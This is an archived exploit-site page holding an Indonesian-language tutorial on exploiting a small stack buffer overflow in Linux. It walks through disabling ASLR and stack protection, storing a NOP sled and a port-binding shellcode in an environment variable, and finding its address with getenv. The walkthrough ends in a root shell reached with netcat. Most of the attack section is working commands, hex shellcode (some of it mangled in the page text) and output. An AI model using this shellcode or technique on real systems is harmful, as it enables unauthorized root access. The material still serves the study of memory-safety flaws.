Home / os / win7

Linux buffer overflow tutorial II [indonesian]

Posted on 04 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Linux buffer overflow tutorial II [indonesian]</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================== Linux buffer overflow tutorial II [indonesian] ============================================== Linux Buffer Overflow Tutorial Edisi : Kedua /* 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_&lt;_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ &gt;&gt; Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 */ Penulis : gunslinger_ &lt;yudha.gunslinger@gmail.com&gt; Tanggal : Mon Jun 28 21:38:14 WIT 2010 Konten : 1. Pendahuluan 2. Skenario 3. Fungsi getenv() 4. Exploitasi 5. Kesimpulan 6. Special thanks -- Pendahuluan Pada tutorial edisi pertama saya menjelaskan tutorial buffer overflow berbuffer 400 byte. anda bisa melihat tutorial sebelumnya disini -&gt; http://www.exploit-db.com/papers/14069/ sekarang saya akan menjelaskan &quot;bagaimana cara jika buffer lebih kecil dari ukuran payload kita terutama shellcode ?&quot; dan saya akan menjelaskan strateginya pada tutorial ini. -- Skenario kita bisa lihat source aplikasi sebelumnya mirip pada source aplikasi tutorial ini. hanya saja yang membedakan buffernya. kali ini aplikasi berbuffer 10 bytes. sebelum melanjutkan experimen pada skenario tutorial ini, jangan lupa matikan randomisasi stack terlebih dahulu. root@bt:~# cat /proc/sys/kernel/randomize_va_space 2 root@bt:~# echo 0 &gt; /proc/sys/kernel/randomize_va_space root@bt:~# cat /proc/sys/kernel/randomize_va_space 0 root@bt:~# ---------------------bof2.c-------------------------- #include &lt;stdio.h&gt; #include &lt;string.h&gt; int main(int argc, char** argv) { char buffer[10]; strcpy(buffer, argv[1]); return 0; } ---------------------EOF----------------------------- save dengan nama bof2.c ,compile program tersebut . perhatian : pada saat mengompile tambahkan opsi -fno-stack-protector dan -mpreferred-stack-boundary=2. root@bt:~# gcc -g -o bof2 -fno-stack-protector -mpreferred-stack-boundary=2 bof2.c jadi, bagaimana cara pengexploitasiannya jika buffer sekecil itu ? kita bisa gunakan &quot;ENVIRONMENT VARIABLE&quot; untuk menyimpan nopsled dan shellcode . lalu kita ulangi address NOP sampai mengoverwrite register EIP. langkah pertama, kita perlu menaruh shellcode ke bentuk binary. saya akan gunakan shellcode binding port 13123 pada tutorial ini, dan anda bisa melihat shellcode tersebut di sini : http://inj3ct0r.com/exploits/12608 root@bt:~/bof# echo -ne &quot;xebx11x5ex31xc9xb1x65x80x6cx0exffx35 x80xe9x01x75xf6xebx05xe8xeaxffxffxffx6 6xf5x66x10x66x07x85x9fx36x9fx37xbex16 x33xf8xe5x9bx02xb5xbexfbx87x9dxf0x37x6 8x78xbex16x9fx45x86x8bxbex16x33xf8xe5 x9bx02xb5x87x8bxbex16xe8x39xe5x9bx02xb 5x87x87x8bxbex16x33xf8xe5x9bx02xb5xbe xf8x66xfexe5x74x02xb5x76xe5x74x02xb5x7 6xe5x74x02xb5x87x9dx64x64xa8x9dx9dx64 x97x9exa3xbex18x87x88xbex16xe5x40x02xb 5&quot; &gt; shellcode3.bin root@bt:~/bof# cat shellcode3.bin ?^1?±el?5?u???????f?ff67?3?????7hx?E?3????9??3???? f??tµv?tµv?tµdd?d?????@µroot@bt:~/bof# selanjutnya, kita buat &quot;ENVIRONMENT VARIABLE&quot; berisi : 200 bytes NOPSLED + SHELLCODE root@bt:~/bof# export PAYLOAD=$(perl -e 'print &quot;x90&quot; x 200')$(cat shellcode.bin) root@bt:~/bof# echo $PAYLOAD ?^1?±el?5?u???????f?ff67?3?????7hx?E?3????9??3???? f??tµv?tµv?tµdd?d?????@µ root@bt:~/bof# ok, kita baru saja selesai menaruh PAYLOAD kita di &quot;ENVIRONMENT VARIABLE&quot;. -- Fungsi getenv() sekarang kita gunakan getenv() pada bahasa c. fungsi getenv() adalah untuk mendapatkan return address variable environment (get environment variable). jadi kita menggunakan fungsi tersebut untuk mendapatkan return address PAYLOAD kita sebelumnya pada &quot;ENVIRONMENT VARIABLE&quot;. dan source aplikasinya seperti berikut . ---------------------getenv.c-------------------------- #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; int main(int argc, char** argv) { printf(&quot;%s terletak pada address %p &quot;, argv[1], getenv(argv[1])); return (0); } ---------------------EOF----------------------------- yah sangat simple bukan?, namun sangat berguna. lalu compile program tersebut root@bt:~/bof# gcc -o getenv getenv.c root@bt:~/bof# sekarang, kita bisa liat dimana alamat PAYLOAD kita berada. root@bt:~/bof# ./getenv PAYLOAD PAYLOAD terletak pada address 0xbffffe1e root@bt:~/bof# sudah jelas... kita mengetahui PAYLOAD terletak pada address 0xbffffe1e dengan mudah . kemudian kita tambahkan, sebut saja 100 bytes karena kita harus menemukan alamat yang terletak dengan alamat pertengahan NOPSLED berada. root@bt:~/bof# printf &quot;%x &quot; $((0xbffffe1e + 100)) bffffe82 root@bt:~/bof# sudah kita dapatkan 0xbffffe1e + 100 = bffffe82 , lalu kita rubah ke bentuk little endian. -&gt; 82feffbf lalu kita ubah ke bentuk shellcode -&gt; x82xfexffxbf -- Eksploitasi sekarang saatnya kita run PAYLOAD kita pada aplikasi yang vulnerable buffer overflow tersebut . root@bt:~/bof# ./bof2 $(perl -e 'print &quot;x82xfexffxbf&quot; x 10') Segmentation fault root@bt:~/bof# kita mendapatkan segmentation fault karena kita tidak menggunakan sederetan perulangan address. lalu bagaimana ? kita bisa gunakan NOP untuk mendorong (push) address dengan cara menaikan byte per byte. root@bt:~/bof# ./bof2 $(perl -e 'print &quot;x90&quot; . &quot;x82xfexffxbf&quot; x 10') Segmentation fault root@bt:~/bof# masih mendapatkan segmentation fault, coba kita naikan 1 byte demi byte lagi pada address NOP... root@bt:~/bof# ./bof2 $(perl -e 'print &quot;x90&quot; x 2 . &quot;x82xfexffxbf&quot; x 10') OoOoOpsss, program bof tidak exit ? apa yang terjadi ? apa shellcode kita tereksekusi dengan baik ? sebelumnya kita menggunakan shellcode bindport pada port 13123 , coba kita buka tab konsole baru dan sambungkan dengan netcat . root@bt:~# nc localhost 13123 id uid=0(root) gid=0(root) groups=0(root) whoami root hostname bt echo YUMMY! YUMMY! kita sudah berhasil lagi dalam mengexploitasi buffer overflow . -- Kesimpulan kesimpulannya, bahwa seberapa kecil buffer pada aplikasi tetap memungkinkan terjadinya buffer overflow . untuk mencegah terjadinya buffer overflow adalah dengan cara membatasi seberapa bytes input data yang dimasukan oleh user . -- Special thanks : devilzc0de crew and jasakom crew : www.devilzc0de.org / www.devilzc0de.com - www.jasakom.com , indonesianhacker.org, yogyacarderlink.web.id : serverisdown.org, xc0de.or.id, echo.or.id, hacker-newbie.org, tecon-crew.org and Inj3ct0r.com (Inj3ct0r Explot Database) # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-04]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP